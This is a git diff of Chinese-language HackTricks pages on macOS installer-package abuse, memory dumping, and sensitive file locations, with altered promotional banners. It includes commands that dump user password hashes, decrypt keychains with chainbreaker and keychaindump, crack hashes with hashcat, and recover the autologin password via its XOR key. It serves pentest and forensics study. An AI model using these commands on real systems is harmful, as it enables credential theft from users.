* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# macOS安装程序滥用
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Pkg基本信息
|
||||
|
||||
macOS的**安装程序包**(也称为`.pkg`文件)是macOS用于**分发软件**的文件格式。这些文件就像一个**包含软件安装和运行所需的一切**的盒子。
|
||||
|
||||
安装程序包本身是一个存档,其中包含将安装在目标计算机上的**文件和目录层次结构**。它还可以包括**脚本**,用于在安装前后执行任务,如设置配置文件或清理旧版本的软件。
|
||||
安装程序文件本身是一个存档,其中包含将在目标计算机上安装的**文件和目录层次结构**。它还可以包括**脚本**,用于在安装前后执行任务,如设置配置文件或清理旧版本的软件。
|
||||
|
||||
### 层次结构
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
- **Distribution(xml)**:自定义内容(标题,欢迎文本...)和脚本/安装检查
|
||||
- **PackageInfo(xml)**:信息,安装要求,安装位置,要运行的脚本路径
|
||||
- **材料清单(bom)**:要安装、更新或删除的文件列表,带有文件权限
|
||||
- **Payload(CPIO存档gzip压缩)**:要在PackageInfo中的`install-location`中安装的文件
|
||||
- **脚本(CPIO存档gzip压缩)**:预安装和后安装脚本以及提取到临时目录以供执行的其他资源。
|
||||
* **Distribution(xml)**:自定义内容(标题,欢迎文本...)和脚本/安装检查
|
||||
* **PackageInfo(xml)**:信息,安装要求,安装位置,要运行的脚本路径
|
||||
* **材料清单(bom)**:要安装、更新或删除的文件列表,带有文件权限
|
||||
* **Payload(CPIO存档gzip压缩)**:要在PackageInfo的`install-location`中安装的文件
|
||||
* **脚本(CPIO存档gzip压缩)**:预安装和后安装脚本以及提取到临时目录以供执行的其他资源。
|
||||
|
||||
### 解压缩
|
||||
```bash
|
||||
|
@ -46,7 +47,7 @@ cpio -i < Scripts
|
|||
```
|
||||
## DMG基本信息
|
||||
|
||||
DMG文件,或苹果磁盘映像,是苹果macOS用于磁盘映像的文件格式。DMG文件本质上是一个可挂载的磁盘映像(包含自己的文件系统),通常包含原始块数据,通常经过压缩并有时加密。当您打开一个DMG文件时,macOS会将其**挂载为物理磁盘**,从而允许您访问其内容。
|
||||
DMG文件,或苹果磁盘映像,是苹果macOS用于磁盘映像的文件格式。DMG文件本质上是一个可挂载的磁盘映像(包含自己的文件系统),通常包含原始块数据,通常经过压缩并有时加密。当您打开一个DMG文件时,macOS会将其**挂载为物理磁盘**,使您能够访问其内容。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,**`.dmg`**安装程序支持**许多格式**,过去一些包含漏洞的安装程序被滥用以获取**内核代码执行**。
|
||||
|
@ -60,19 +61,19 @@ DMG文件的层次结构可以根据内容而异。但是,对于应用程序DM
|
|||
|
||||
- 顶层:这是磁盘映像的根。通常包含应用程序,可能还包含到应用程序文件夹的链接。
|
||||
- 应用程序(.app):这是实际的应用程序。在macOS中,应用程序通常是一个包,其中包含许多组成应用程序的单独文件和文件夹。
|
||||
- 应用程序链接:这是指向macOS中应用程序文件夹的快捷方式。其目的是让您轻松安装应用程序。您可以将.app文件拖到此快捷方式以安装应用程序。
|
||||
- 应用程序链接:这是指向macOS中应用程序文件夹的快捷方式。其目的是使您能够轻松安装应用程序。您可以将.app文件拖动到此快捷方式以安装应用程序。
|
||||
|
||||
## 通过pkg滥用提权
|
||||
|
||||
### 从公共目录执行
|
||||
|
||||
例如,如果预安装或后安装脚本从**`/var/tmp/Installerutil`**执行,并且攻击者可以控制该脚本,那么他可以在执行时提升权限。或者另一个类似的例子:
|
||||
例如,如果预安装或后安装脚本从**`/var/tmp/Installerutil`**执行,攻击者可以控制该脚本以在执行时提升权限。或者另一个类似的例子:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption><p><a href="https://www.youtube.com/watch?v=kCXhIYtODBg">https://www.youtube.com/watch?v=kCXhIYtODBg</a></p></figcaption></figure>
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
这是一个[公共函数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg),几个安装程序和更新程序会调用它来**以root身份执行某些操作**。该函数接受要**执行的文件的路径**作为参数,但是,如果攻击者可以**修改**此文件,他将能够**滥用**其以root身份执行以**提升权限**。
|
||||
这是一个[公共函数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg),几个安装程序和更新程序将调用它以**作为root执行某些操作**。此函数接受要**执行的文件的路径**作为参数,但是,如果攻击者可以**修改**此文件,他将能够**滥用**其以root执行以**提升权限**。
|
||||
```bash
|
||||
# Breakpoint in the function to check wich file is loaded
|
||||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
|
@ -80,7 +81,7 @@ DMG文件的层次结构可以根据内容而异。但是,对于应用程序DM
|
|||
```
|
||||
### 通过挂载执行
|
||||
|
||||
如果安装程序写入 `/tmp/fixedname/bla/bla`,就有可能在 `/tmp/fixedname` 上创建一个没有所有者的**挂载**,这样你就可以在安装过程中**修改任何文件**,以滥用安装过程。
|
||||
如果安装程序写入 `/tmp/fixedname/bla/bla`,就有可能在 `/tmp/fixedname` 上创建一个没有所有者的**挂载点**,这样在安装过程中可以**修改任何文件**,以滥用安装过程。
|
||||
|
||||
一个例子是 **CVE-2021-26089**,成功**覆盖了一个周期性脚本**以获取 root 执行权限。欲了解更多信息,请查看演讲:[**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
|
||||
|
@ -92,7 +93,7 @@ DMG文件的层次结构可以根据内容而异。但是,对于应用程序DM
|
|||
|
||||
### Distribution xml 中的 JS
|
||||
|
||||
可以在软件包的 distribution xml 文件中添加 **`<script>`** 标签,该代码将被执行,可以使用 **`system.run`** 来**执行命令**:
|
||||
可以在软件包的 **distribution xml** 文件中添加 **`<script>`** 标签,该代码将被执行,并且可以使用 **`system.run`** 来**执行命令**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1043).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS内存转储
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
|
@ -28,15 +29,15 @@ WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫
|
|||
|
||||
***
|
||||
|
||||
## 内存遗留物
|
||||
## 内存遗物
|
||||
|
||||
### 交换文件
|
||||
|
||||
交换文件,例如`/private/var/vm/swapfile0`,在物理内存已满时充当**缓存**。当物理内存没有足够空间时,其数据会转移到交换文件,然后根据需要重新转移到物理内存。可能存在多个交换文件,名称类似于swapfile0、swapfile1等。
|
||||
交换文件,例如`/private/var/vm/swapfile0`,在物理内存已满时充当**缓存**。当物理内存没有足够空间时,其数据会转移到交换文件,然后根据需要重新转移到物理内存。可能会存在多个交换文件,名称类似于swapfile0、swapfile1等。
|
||||
|
||||
### 休眠镜像
|
||||
|
||||
位于`/private/var/vm/sleepimage`的文件在**休眠模式**期间至关重要。**当OS X休眠时,内存中的数据存储在此文件中**。唤醒计算机时,系统会从此文件中检索内存数据,使用户可以继续之前的操作。
|
||||
位于`/private/var/vm/sleepimage`的文件在**休眠模式**下至关重要。**当OS X休眠时,内存中的数据存储在此文件中**。唤醒计算机时,系统会从此文件中检索内存数据,使用户可以继续之前的操作。
|
||||
|
||||
值得注意的是,在现代MacOS系统上,出于安全原因,此文件通常是加密的,使恢复变得困难。
|
||||
|
||||
|
@ -50,7 +51,7 @@ MacOS系统中另一个重要的与内存相关的文件是**内存压力日志*
|
|||
|
||||
要在MacOS机器中转储内存,可以使用[**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)。
|
||||
|
||||
**注意**:以下说明仅适用于具有Intel架构的Mac。该工具现已存档,最后一次发布是在2017年。以下说明下载的二进制文件针对Intel芯片,因为在2017年时Apple Silicon还不存在。可能可以为arm64架构编译二进制文件,但您需要自行尝试。
|
||||
**注意**:以下说明仅适用于具有Intel架构的Mac。该工具现已存档,最后一次发布是在2017年。使用以下说明下载的二进制文件针对Intel芯片,因为在2017年时Apple Silicon还不存在。可能可以为arm64架构编译二进制文件,但您需要自行尝试。
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
@ -65,9 +66,9 @@ sudo kextutil "/tmp/MacPmem.kext"
|
|||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**其他错误** 可能通过在"安全性与隐私 --> 通用"中**允许加载 kext** 来修复,只需**允许**即可。
|
||||
**其他错误**可能通过在"安全性与隐私 --> 一般"中**允许加载kext**来修复,只需**允许**它。
|
||||
|
||||
您还可以使用这个**一行命令**来下载应用程序,加载 kext 并转储内存:
|
||||
您还可以使用这个**一行命令**来下载应用程序,加载kext并转储内存:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -80,24 +81,25 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否已受到**窃取恶意软件**的**损害**。
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
|
||||
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS敏感位置和有趣的守护进程
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 密码
|
||||
|
||||
|
@ -20,6 +21,8 @@
|
|||
|
||||
阴影密码与用户配置一起存储在位于**`/var/db/dslocal/nodes/Default/users/`**中的plist文件中。\
|
||||
以下一行命令可用于转储**有关用户的所有信息**(包括哈希信息):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
|
||||
```
|
||||
|
@ -35,7 +38,7 @@ sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex
|
|||
|
||||
### 密钥链转储
|
||||
|
||||
请注意,当使用 security 二进制文件来**转储解密后的密码**时,系统会提示用户允许此操作。
|
||||
请注意,当使用 security 二进制文件来转储解密后的密码时,系统会提示用户允许此操作。
|
||||
```bash
|
||||
#security
|
||||
secuirty dump-trust-settings [-s] [-d] #List certificates
|
||||
|
@ -47,26 +50,26 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
|||
### [Keychaindump](https://github.com/juuso/keychaindump)
|
||||
|
||||
{% hint style="danger" %}
|
||||
根据这条评论 [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) 看起来这些工具在 Big Sur 上不再起作用了。
|
||||
根据这个评论 [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) 看起来这些工具在 Big Sur 上不再起作用了。
|
||||
{% endhint %}
|
||||
|
||||
### Keychaindump 概述
|
||||
|
||||
一个名为 **keychaindump** 的工具已经被开发出来,用于从 macOS 钥匙串中提取密码,但在像 Big Sur 这样的较新 macOS 版本上面临限制,正如在一次[讨论](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760)中所指出的。使用 **keychaindump** 需要攻击者获得访问权限并提升至 **root** 权限。该工具利用了钥匙串在用户登录时默认解锁的事实,以方便应用程序访问它,而无需反复要求用户输入密码。然而,如果用户选择在每次使用后锁定他们的钥匙串,**keychaindump** 就会失效。
|
||||
一个名为 **keychaindump** 的工具已被开发用于从 macOS 钥匙串中提取密码,但在像 Big Sur 这样的较新 macOS 版本上面临限制,正如在[讨论](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760)中所指出的。使用 **keychaindump** 需要攻击者获得访问权限并提升至 **root** 权限。该工具利用了钥匙串默认在用户登录时自动解锁的事实,以方便应用程序访问它,而无需反复要求用户输入密码。然而,如果用户选择在每次使用后锁定他们的钥匙串,**keychaindump** 就会失效。
|
||||
|
||||
**Keychaindump** 的操作是通过针对一个名为 **securityd** 的特定进程进行的,苹果公司将其描述为用于授权和加密操作的守护程序,对于访问钥匙串至关重要。提取过程涉及识别从用户登录密码派生的一个名为 **Master Key** 的关键。这个关键对于读取钥匙串文件至关重要。为了定位 **Master Key**,**keychaindump** 使用 `vmmap` 命令扫描 **securityd** 的内存堆,查找在被标记为 `MALLOC_TINY` 的区域内的潜在关键。以下命令用于检查这些内存位置:
|
||||
**Keychaindump** 的操作是通过针对一个名为 **securityd** 的特定进程进行的,苹果公司将其描述为用于授权和加密操作的守护程序,对于访问钥匙串至关重要。提取过程涉及识别从用户登录密码派生的一个 **主密钥**。这个密钥对于读取钥匙串文件至关重要。为了定位 **主密钥**,**keychaindump** 使用 `vmmap` 命令扫描 **securityd** 的内存堆,查找在被标记为 `MALLOC_TINY` 的区域内的潜在密钥。以下命令用于检查这些内存位置:
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
在确定潜在主密钥后,**keychaindump** 会通过堆中搜索特定模式(`0x0000000000000018`),该模式指示可能是主密钥的候选项。需要进一步步骤,包括解混淆,才能利用此密钥,具体步骤在 **keychaindump** 的源代码中有详细说明。专注于此领域的分析人员应注意,解密钥匙链所需的关键数据存储在 **securityd** 进程的内存中。运行 **keychaindump** 的示例命令如下:
|
||||
在确定潜在主密钥后,**keychaindump** 会在堆中搜索特定模式(`0x0000000000000018`),该模式表明可能是主密钥的候选项。进一步的步骤,包括去混淆,需要使用**keychaindump**源代码中概述的方法来利用这个密钥。专注于这个领域的分析人员应注意,解密钥匙链的关键数据存储在**securityd**进程的内存中。运行**keychaindump**的示例命令如下:
|
||||
```bash
|
||||
sudo ./keychaindump
|
||||
```
|
||||
### chainbreaker
|
||||
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) 可以以取证方式从OSX钥匙串中提取以下类型的信息:
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker)可以以取证合规的方式从OSX钥匙串中提取以下类型的信息:
|
||||
|
||||
- 经过哈希处理的钥匙串密码,适合使用[hashcat](https://hashcat.net/hashcat/)或[John the Ripper](https://www.openwall.com/john/)进行破解
|
||||
- 经过哈希处理的Keychain密码,适合使用[hashcat](https://hashcat.net/hashcat/)或[John the Ripper](https://www.openwall.com/john/)进行破解
|
||||
- 互联网密码
|
||||
- 通用密码
|
||||
- 私钥
|
||||
|
@ -75,16 +78,16 @@ sudo ./keychaindump
|
|||
- 安全笔记
|
||||
- Appleshare密码
|
||||
|
||||
通过钥匙串解锁密码、使用[volafox](https://github.com/n0fate/volafox)或[volatility](https://github.com/volatilityfoundation/volatility)获得的主密钥,或者解锁文件(如SystemKey),Chainbreaker还将提供明文密码。
|
||||
通过提供的钥匙串解锁密码、使用[volafox](https://github.com/n0fate/volafox)或[volatility](https://github.com/volatilityfoundation/volatility)获得的主密钥,或者解锁文件(如SystemKey),Chainbreaker还将提供明文密码。
|
||||
|
||||
如果没有这些解锁钥匙串的方法,Chainbreaker将显示所有其他可用信息。
|
||||
如果没有这些解锁Keychain的方法,Chainbreaker将显示所有其他可用信息。
|
||||
|
||||
#### **转储钥匙串密钥**
|
||||
```bash
|
||||
#Dump all keys of the keychain (without the passwords)
|
||||
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
|
||||
```
|
||||
#### 使用 SystemKey 转储钥匙串密钥(包括密码)
|
||||
#### 使用SystemKey转储钥匙串密钥(包括密码)
|
||||
```bash
|
||||
# First, get the keychain decryption key
|
||||
# To get this decryption key you need to be root and SIP must be disabled
|
||||
|
@ -101,7 +104,7 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
|
|||
# Use the key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### 使用内存转储来转储钥匙串密钥(带密码)
|
||||
#### **使用内存转储来转储钥匙串密钥(带密码)**
|
||||
|
||||
[按照这些步骤](../#dumping-memory-with-osxpmem) 来执行**内存转储**
|
||||
```bash
|
||||
|
@ -112,7 +115,7 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
|
|||
#Try to extract the passwords using the extracted keychain passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **使用用户密码转储钥匙串密钥(包括密码)**
|
||||
#### 使用用户密码转储钥匙串密钥(带密码)
|
||||
|
||||
如果您知道用户的密码,您可以使用它来**转储并解密属于用户的钥匙串**。
|
||||
```bash
|
||||
|
@ -121,10 +124,10 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library
|
|||
```
|
||||
### kcpassword
|
||||
|
||||
**kcpassword** 文件是一个保存**用户登录密码**的文件,但仅当系统所有者已**启用自动登录**时才会存在。因此,用户将自动登录而无需输入密码(这并不安全)。
|
||||
**kcpassword**文件是一个文件,其中保存着**用户的登录密码**,但仅当系统所有者已**启用自动登录**时。因此,用户将自动登录而无需输入密码(这并不安全)。
|
||||
|
||||
密码存储在文件 **`/etc/kcpassword`** 中,使用密钥 **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`** 进行异或运算。如果用户的密码长度超过密钥,密钥将被重复使用。\
|
||||
这使得密码相当容易被恢复,例如使用类似[**这个**](https://gist.github.com/opshope/32f65875d45215c3677d)的脚本。
|
||||
密码存储在文件**`/etc/kcpassword`**中,使用密钥**`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**进行异或运算。如果用户的密码长度超过密钥,则密钥将被重复使用。\
|
||||
这使得密码相当容易被恢复,例如使用[**这样的脚本**](https://gist.github.com/opshope/32f65875d45215c3677d)。
|
||||
|
||||
## 数据库中的有趣信息
|
||||
|
||||
|
@ -140,18 +143,18 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
|
|||
|
||||
您可以在 `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` 中找到通知数据。
|
||||
|
||||
大部分有趣的信息将会在 **blob** 中。因此,您需要 **提取** 该内容并将其转换为 **易读** 的格式,或者使用 **`strings`**。要访问它,您可以执行:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
大部分有趣的信息都会在 **blob** 中。因此,您需要 **提取** 该内容并将其转换为 **易读** 的格式,或者使用 **`strings`**。要访问它,您可以执行:
|
||||
```bash
|
||||
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
|
||||
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### 注意事项
|
||||
|
||||
用户的**笔记**可以在 `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite` 中找到
|
||||
|
||||
{% endcode %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables
|
||||
|
||||
|
@ -162,11 +165,11 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
|
|||
|
||||
## 首选项
|
||||
|
||||
在 macOS 应用程序中,首选项位于 **`$HOME/Library/Preferences`**,在 iOS 中位于 `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`。
|
||||
在 macOS 应用程序中,首选项位于 **`$HOME/Library/Preferences`**,而在 iOS 中则位于 `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`。
|
||||
|
||||
在 macOS 中,可以使用命令行工具 **`defaults`** 来**修改首选项文件**。
|
||||
|
||||
